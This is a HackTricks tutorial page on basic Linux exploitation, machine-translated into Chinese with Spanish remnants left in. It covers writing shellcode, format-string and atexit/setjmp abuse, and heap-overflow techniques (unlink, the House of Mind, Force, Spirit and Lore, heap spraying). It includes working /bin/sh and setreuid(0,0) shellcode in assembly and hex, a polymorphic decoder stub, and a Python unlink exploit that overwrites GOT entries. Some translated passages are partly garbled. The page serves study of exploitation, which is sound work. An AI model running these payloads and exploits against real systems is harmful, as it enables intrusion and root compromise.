hacktricks/exploiting/linux-exploiting-basic-esp
2024-07-18 22:08:20 +00:00
..
rop-leaking-libc-address Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
bypassing-canary-and-pie.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
format-strings-template.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
fusion.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:17:52 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:08:20 +00:00
ret2lib.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
rop-syscall-execv.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00

Linux Exploiting (Basic) (SPA)

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

2.SHELLCODE

查看内核中断cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; 清空 eax
xor ebx, ebx ; ebx = 0 因为没有参数要传
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; 执行系统调用

nasm -f elf assembly.asm —> 返回一个 .o 文件
ld assembly.o -o shellcodeout —> 生成一个由汇编代码组成的可执行文件,可以用 objdump 提取操作码
objdump -d -Mintel ./shellcodeout —> 查看确实是我们的 shellcode 并提取 OpCodes

检查 shellcode 是否有效

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

为了查看系统调用是否正确执行,必须编译上述程序,系统调用应出现在 strace ./PROGRAMA_COMPILADO

在创建 shellcodes 时,可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码,并将 EIP 放入栈中。在调用指令之后,我们放入所需的字符串,因此通过这个 EIP我们可以指向字符串并继续执行代码。

EJ 技巧 (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ 使用堆栈 (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Huter:

由一小段代码组成该代码遍历与进程关联的内存页面以寻找存储在其中的shellcode查找shellcode中放置的某个签名。在仅有小空间注入代码的情况下非常有用。

Shellcodes polimórficos

由加密的shell组成包含一小段代码用于解密并跳转到它使用Call-Pop技巧这将是一个ejemplo cifrado cesar

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.补充方法

Murat技术

在Linux中所有程序的映射从0xbfffffff开始。

通过观察Linux中新进程的堆栈构建方式可以开发出一种利用程序在仅有shellcode的环境中启动的漏洞。这个地址可以计算为addr = 0xbfffffff - 4 - strlen(完整可执行文件名) - strlen(shellcode)

这样就可以简单地获得包含shellcode的环境变量的地址。

这得益于execle函数允许创建一个仅包含所需环境变量的环境。

格式字符串导致缓冲区溢出

sprintf将格式化字符串移动到一个变量中。因此,您可以滥用字符串的格式来导致变量中的缓冲区溢出
例如,负载%.44xAAAA在变量中写入44B+"AAAA",这可能导致缓冲区溢出。

__atexit结构

{% hint style="danger" %} 如今,利用这个非常奇怪。 {% endhint %}

atexit()是一个函数,其他函数作为参数传递给它。这些函数将在执行**exit()main返回时被执行**。
如果您可以修改这些函数地址以指向shellcode例如您将获得对进程的控制,但这目前更复杂。
目前,要执行的函数的地址隐藏在多个结构后,最终指向的地址不是函数的地址,而是用XOR加密和用随机密钥进行位移。因此目前这个攻击向量在x86和x64_86上不是很有用
加密函数是**PTR_MANGLE其他架构如m68k、mips32、mips64、aarch64、arm、hppa...不实现加密函数,因为它返回与输入相同**。因此,这些架构可以通过这个向量进行攻击。

setjmp() & longjmp()

{% hint style="danger" %} 如今,利用这个非常奇怪。 {% endhint %}

setjmp()允许保存上下文(寄存器)
longjmp()允许恢复上下文。
保存的寄存器是:EBX, ESI, EDI, ESP, EIP, EBP
发生的情况是EIP和ESP通过**PTR_MANGLE函数传递,因此易受此攻击的架构与上述相同**。
它们对于错误恢复或中断很有用。
然而,从我所读到的,其他寄存器没有受到保护,因此如果在被调用的函数内部有call ebxcall esicall edi则可以控制。或者您也可以修改EBP以修改ESP。

C++中的VTable和VPTR

每个类都有一个Vtable,它是一个指向方法的指针数组

每个的对象都有一个VPtr,它是指向其类数组的指针。VPtr是每个对象的头部的一部分因此如果成功覆盖VPtr,则可以修改它以指向一个虚拟方法从而执行一个函数将转到shellcode。

预防措施和规避

Libsafe替换

通过以下方式激活LD_PRELOAD=/lib/libsafe.so.2

“/lib/libsave.so.2” > /etc/ld.so.preload

拦截对某些不安全函数的调用替换为其他安全函数。未标准化。仅适用于x86不适用于使用-fomit-frame-pointer的编译不适用于静态编译并非所有易受攻击的函数都变得安全LD_PRELOAD在suid二进制文件中无效

ASCII装甲地址空间

它的目的是将共享库加载到0x00000000到0x00ffffff之间以确保始终有一个字节0x00。然而这实际上几乎无法阻止任何攻击尤其是在小端模式下。

ret2plt

它的目的是执行ROP以便调用strcpy@plt来自plt并指向GOT中的条目并将要调用的函数的第一个字节复制到system()。接下来做同样的事情指向GOT+1并复制system()的第二个字节……最后调用保存在GOT中的地址这将是system()。

使用chroot()的监狱

debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统

管理员可以通过以下方式退出这些监狱mkdir foo; chroot foo; cd ..

代码插桩

Valgrind —> 查找错误
Memcheck
RAD返回地址防御
Insure++

8 堆溢出:基本利用

分配块

prev_size |
size | —头部
*mem | 数据

空闲块

prev_size |
size |
*fd | 前向块指针
*bk | 后向块指针 —头部
*mem | 数据

空闲块在一个双向链表bin且永远不会有两个空闲块相邻会合并

在“size”中有位表示如果前一个块正在使用如果块是通过mmap()分配的以及块是否属于主arena。

如果在释放一个块时任何相邻的块是空闲的这些块将通过unlink()宏合并并将新的更大的块传递给frontlink()以插入适当的bin。

unlink(){
BK = P->bk; —> 新块的BK是之前空闲块的BK
FD = P->fd; —> 新块的FD是之前空闲块的FD
FD->bk = BK; —> 下一个块的BK指向新块
BK->fd = FD; —> 上一个块的FD指向新块
}

因此如果我们能够将P->bk修改为shellcode的地址并将P->fd修改为GOT或DTORS中的一个条目减去12则可以实现

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

这样在程序退出时就会执行shellcode。

此外unlink()的第4条语句写入了一些内容shellcode必须为此进行修复

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 这会导致从shellcode的第8个字节开始写入4个字节因此shellcode的第一条指令必须是一个jmp以跳过这一部分并落入一些nops中进而进入其余的shellcode。

因此,利用被创建:

在buffer1中放入shellcode从jmp开始以便落入nops或其余的shellcode。

在shellcode之后填充直到到达下一个块的prev_size和size字段。在这些位置放入0xfffffff0以便覆盖prev_size使其具有表示空闲的位和“-4”0xfffffffc在size中以便在检查第三个块时如果第二个块实际上是空闲的它会去修改的prev_size告诉它是空闲的-> 这样当free()检查时它将去第三个块的size但实际上会去第二个块-4并认为第二个块是空闲的。然后将调用unlink()

调用unlink()时将使用第二个块的前几个数据作为P->fd因此将放入要覆盖的地址-12因为在FD->bk中将加12到存储在FD中的地址。在该地址中将放入第二个块中找到的第二个地址我们希望它是指向shellcode的地址伪造的P->bk

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12字节填充

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #确保表示前一个块空闲的位为1

fake_size = pack("<I”, 0xfffffffc) #-4以便让“size”指向第三个块时实际上指向prev_size因为它在检查第二个块是否空闲时

addr_sc = pack("<I", 0x0804a008 + 8) #在负载的开头放入8字节的填充

got_free = pack("<I", 0x08048300 - 12) #free()在plt中的地址-12将是要覆盖的地址以便在第二次调用free时触发shellcode

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #如前所述负载以8字节的填充开始

payload += prev_size + fake_size + got_free + addr_sc #修改第二个块got_free指向我们将存储地址addr_sc + 12的地方

os.system("./8.3.o " + payload)

unset()以相反的顺序释放wargame

我们控制了3个连续的块并以与分配的相反顺序释放它们。

在这种情况下:

在块c中放入shellcode

块a用于覆盖块b以便size具有PREV_INUSE位被禁用从而使其认为块a是空闲的。

此外在块b的头部覆盖size使其值为-4。

因此程序将认为“a”是空闲的并在一个bin中因此将调用unlink()以解除链接。然而由于PREV_SIZE的头部值为-4它将认为“a”的块实际上从b+4开始。也就是说它将对从b+4开始的块进行unlink()因此在b+12处将是指针“fd”在b+16处将是指针“bk”。

这样如果在bk中放入指向shellcode的地址并在fd中放入指向“puts()”的地址-12我们就得到了我们的负载。

前向链接技术

当释放某个东西且其相邻的块都不是空闲时称为前向链接不会调用unlink()而是直接调用frontlink()。

当攻击的malloc从未被释放free())时,这种漏洞很有用。

需要:

一个可以通过输入数据的函数溢出的缓冲区

一个与此相邻的缓冲区必须被释放并且其头部的fd字段将通过前一个缓冲区的溢出进行修改

一个要释放的缓冲区其大小大于512但小于前一个缓冲区

在第3步之前声明的缓冲区允许覆盖此缓冲区的prev_size

通过这种方式我们可以在两个malloc中不受控制地覆盖并在一个中以受控方式覆盖但只释放那个。

双重释放漏洞

如果对同一指针调用两次free()则会有两个bins指向同一地址。

如果想要再次使用其中一个将毫无问题地分配。如果想使用另一个则会分配相同的空间因此我们将有指针“fd”和“bk”被伪造包含先前分配的数据。

释放后

一个先前释放的指针在没有控制的情况下再次使用。

8 堆溢出:高级利用

unlink()和FrontLink()技术在修改unlink()函数时被删除。

心灵之屋

只需一次free()调用即可引发任意代码的执行。需要寻找一个可以被先前溢出并释放的第二个块。

一次free()调用会导致调用public_fREe(mem),它执行:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mem); —> 返回指向块开始的地址mem-8

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

在[1]中检查size字段的NON_MAIN_ARENA位可以更改以使检查返回true并执行heap_for_ptr()该函数对“mem”进行与运算将2.5个最低有效字节置为0在我们的例子中从0x0804a000变为0x08000000并访问0x08000000->ar_ptr就像是一个struct heap_info

通过这种方式如果我们可以控制一个块例如在0x0804a000并且要释放一个块在0x081002a0我们可以到达地址0x08100000并写入我们想要的内容例如0x0804a000。当第二个块被释放时将发现heap_for_ptr(ptr)->ar_ptr返回我们在0x08100000中写入的内容因为对0x081002a0应用了之前看到的与运算从中提取前4个字节ar_ptr

通过这种方式调用_int_free(ar_ptr, mem),即**_int_free(0x0804a000, 0x081002a0)**
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

正如我们之前看到的我们可以控制av的值因为它是我们在要释放的块中写入的内容。

根据unsorted_chunks的定义我们知道
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

因此如果在av->bins[2]中写入__DTOR_END__-12的值在最后一条指令中将写入__DTOR_END__的地址。

也就是说在第一个块的开头我们必须多次放入__DTOR_END__-12的地址因为av->bins[2]将从那里获取。

在第二个块的地址中最后5个零的地址中必须写入指向第一个块的地址以便heap_for_ptr()认为ar_ptr位于第一个块的开头并从中提取av->bins[2]。

在第二个块中借助第一个块我们将prev_size覆盖为一个跳转0x0c并将size设置为某个值以激活-> NON_MAIN_ARENA。

接下来在块2中放入一堆nops最后是shellcode。

通过这种方式将调用_int_free(TROZO1, TROZO2)并遵循指令将prev_size的地址写入__DTOR_END__该地址将跳转到shellcode。

要应用此技术,还需要满足一些额外的要求,这使得负载更加复杂。

此技术不再适用因为对unlink应用了几乎相同的补丁。比较新指向的地址是否也指向它自己。

Fastbin

这是心灵之屋的一个变体。

我们希望执行以下代码该代码在_int_free()函数的第一次检查后执行。

fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

通过这种方式如果在“fb”中放入指向GOT中某个函数的地址则在该地址中将放入被覆盖的块的地址。为此arena必须接近dtors的地址。更确切地说av->max_fast必须在我们要覆盖的地址。

由于在心灵之屋中我们看到我们控制了av的位置。

因此如果在size字段中放入8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index()将返回fastbins[-1]这将指向av->max_fast。

在这种情况下av->max_fast将是要被覆盖的地址而不是指向的地址而是该位置将被覆盖

此外必须满足释放的相邻块的大小大于8 -> 由于我们说释放的块的大小为8因此在这个伪造的块中只需放入一个大于8的大小由于shellcode将放在释放的块中因此在开头需要放入一个跳转以便落入nops中

此外该伪造块必须小于av->system_mem。av->system_mem位于更高1848字节的位置。

由于_DTOR_END_的零和GOT中的少量地址这些部分中的任何地址都不适合被覆盖因此让我们看看如何应用fastbin来攻击堆栈。

另一种攻击方式是将av重定向到堆栈。

如果我们将size修改为16而不是8fastbin_index()将返回fastbins[0],我们可以利用这一点来覆盖堆栈。

为此堆栈中不能有任何canary或奇怪的值实际上我们必须处于4个零字节 + EBP + RET

这4个零字节需要av位于该地址,并且av的第一个元素是必须为0的互斥体。

av->max_fast将是EBP并且将是一个值帮助我们跳过限制。

av->fastbins[0]中将被覆盖为p的地址并将是RET这样将跳转到shellcode。

此外,在av->system_mem在堆栈位置上方1484字节将有足够的垃圾允许我们跳过进行的检查。

此外必须满足释放的相邻块的大小大于8 -> 由于我们说释放的块的大小为16因此在这个伪造块中只需放入一个大于8的大小由于shellcode将放在释放的块中因此在开头需要放入一个跳转以便落入nops中这些nops位于新伪造块的size字段之后

精神之屋

在这种情况下我们希望拥有一个可以被攻击者修改的malloc指针例如指针位于可能溢出的变量下方的堆栈中

这样我们可以使该指针指向任何地方。然而并非所有位置都是有效的伪造块的大小必须小于av->max_fast更具体地说必须等于未来malloc()调用中请求的大小+8。因此如果我们知道在此可变指针后会调用malloc(40)则伪造块的大小必须等于48。

例如如果程序询问用户一个数字我们可以输入48并将可修改的malloc指针指向接下来的4个字节这些字节可能幸运地属于EBP因此48位于后面就像是头部size。此外地址ptr-4+48必须满足多个条件在这种情况下ptr=EBP即8 < ptr-4+48 < av->system_mem。

如果满足这些条件当调用我们之前提到的malloc(40)时将分配EBP的地址。如果攻击者还可以控制写入此malloc的内容则可以将EBP和EIP覆盖为所需的地址。

我认为这是因为当free()释放时它将记录在指向堆栈的EBP的地址中有一个完美大小的新malloc()要保留,因此将分配该地址。

力量之屋

需要:

  • 溢出一个允许覆盖wilderness的块
  • 一次malloc()调用,大小由用户定义
  • 一次malloc()调用,其数据可以由用户定义

首先覆盖wilderness块的size为一个非常大的值0xffffffff因此任何足够大的内存请求将在_int_malloc()中处理,而无需扩展堆。

其次修改av->top以指向攻击者控制的内存区域例如堆栈。在av->top中放置&EIP - 8。

我们必须覆盖av->top以指向攻击者控制的内存区域

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim获取当前wilderness块的地址当前的av->top而remainder正好是该地址加上malloc()请求的字节数。因此,如果&EIP-8在0xbffff224av->top包含0x080c2788则我们在受控malloc中请求的数量以使av->top指向$EIP-8的下一个malloc()将是:

0xbffff224 - 0x080c2788 = 3086207644。

因此av->top将保存修改后的值下一个malloc将指向EIP并能够覆盖它。

重要的是新的wilderness块的size必须大于最后一次malloc()请求的大小。也就是说如果wilderness指向&EIP-8则size将正好位于堆栈的EBP字段中。

传说之屋

SmallBin腐败

释放的块根据其大小插入bin。但在插入之前它们会保存在未排序的bins中。释放的块不会立即放入其bin而是停留在未排序的bins中。接下来如果请求一个新块并且之前释放的块可以使用则将返回该块但如果请求更大的块则释放的块将放入其适当的bin中。

要达到易受攻击的代码内存请求必须大于av->max_fast通常为72且小于MIN_LARGE_SIZE512

如果在bin中有一个适合请求的块则在解除链接后返回该块

bck = victim->bk; 指向前一个块,这是我们可以更改的唯一信息。

bin->bk = bck; 倒数第二个块变为最后一个块如果bck指向堆栈则下一个请求的块将获得此地址。

bck->fd = bin; 关闭列表使其指向bin。

需要:

请求两个malloc以便在第一个malloc释放后可以溢出第二个malloc即在溢出之前请求一个大于第二个块的malloc

请求的malloc的地址由攻击者控制。

目标如下如果我们可以对一个堆进行溢出而其下方有一个已经释放并在其bin中的块我们可以更改其bk指针。如果我们更改其bk指针并且该块成为bin列表的第一个块并被请求则将欺骗bin使其认为列表的最后一个块下一个提供的块位于我们放置的虚假地址例如堆栈或GOT。因此如果再次请求另一个块并且攻击者在其中具有权限则将提供一个块在所需位置并且可以在其中写入。

在释放修改后的块后必须请求一个大于释放的块这样修改后的块将从未排序的bins中移出并放入其bin中。

一旦在其bin中是时候通过溢出修改其bk指针使其指向我们想要覆盖的地址。

因此bin将等待足够多的malloc()调用以便重新使用修改后的bin并欺骗bin使其认为下一个块位于虚假地址。接下来将提供我们感兴趣的块。

为了尽快执行漏洞,理想情况下应为:请求易受攻击的块,请求将被修改的块,释放该块,请求一个大于将被修改的块,修改该块(漏洞),请求一个与被修改的块相同大小的块,并请求第二个相同大小的块,这将指向所选地址。

为了保护此攻击使用了典型的检查以确保块“不是”伪造的检查bck->fd是否指向victim。也就是说在我们的情况下伪造块的fd*指针是否指向victim。为了绕过此保护攻击者应能够以某种方式可能通过堆栈在适当的地址写入victim的地址。这样看起来就像是一个真实的块。

LargeBin腐败

需要与之前相同的要求以及更多要求此外分配的块必须大于512。

攻击与之前相同即必须修改bk指针并且需要所有这些malloc()调用但还必须修改修改块的size以使该size - nb < MINSIZE。

例如将size设置为1552以使1552 - 1544 = 8 < MINSIZE减法不能为负因为比较的是无符号数

此外,已引入补丁以使其更加复杂。

堆喷涂

基本上是请求尽可能多的堆内存并用以nops结尾的shellcode填充这些内存。此外作为填充使用0x0c。因为将尝试跳转到地址0x0c0c0c0c因此如果覆盖了将要调用的某个地址则将跳转到那里。基本上策略是请求尽可能多的内存以查看是否覆盖了某个指针并跳转到0x0c0c0c0c期待那里有nops。

堆风水

通过请求和释放的方式,安排内存,使得在空闲块之间保留已分配的块。要溢出的缓冲区将位于其中一个“蛋”中。

objdump -d 可执行文件 —> 反汇编函数
objdump -d ./PROGRAMA | grep FUNCION —> 获取函数地址
objdump -d -Mintel ./shellcodeout —> 查看是否确实是我们的shellcode并提取操作码
objdump -t ./exec | grep varBss —> 符号表,以提取变量和函数的地址
objdump -TR ./exec | grep exit(func lib) —> 提取库函数的地址GOT
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> 提取要在GOT中覆盖的puts地址
objdump -D ./exec —> 反汇编所有内容直到plt条目
objdump -p -/exec
Info functions strncmp —> gdb中函数的信息

有趣的课程

参考文献

{% hint style="success" %} 学习和实践AWS黑客技术HackTricks培训AWS红队专家ARTE
学习和实践GCP黑客技术HackTricks培训GCP红队专家GRTE

支持HackTricks
{% endhint %}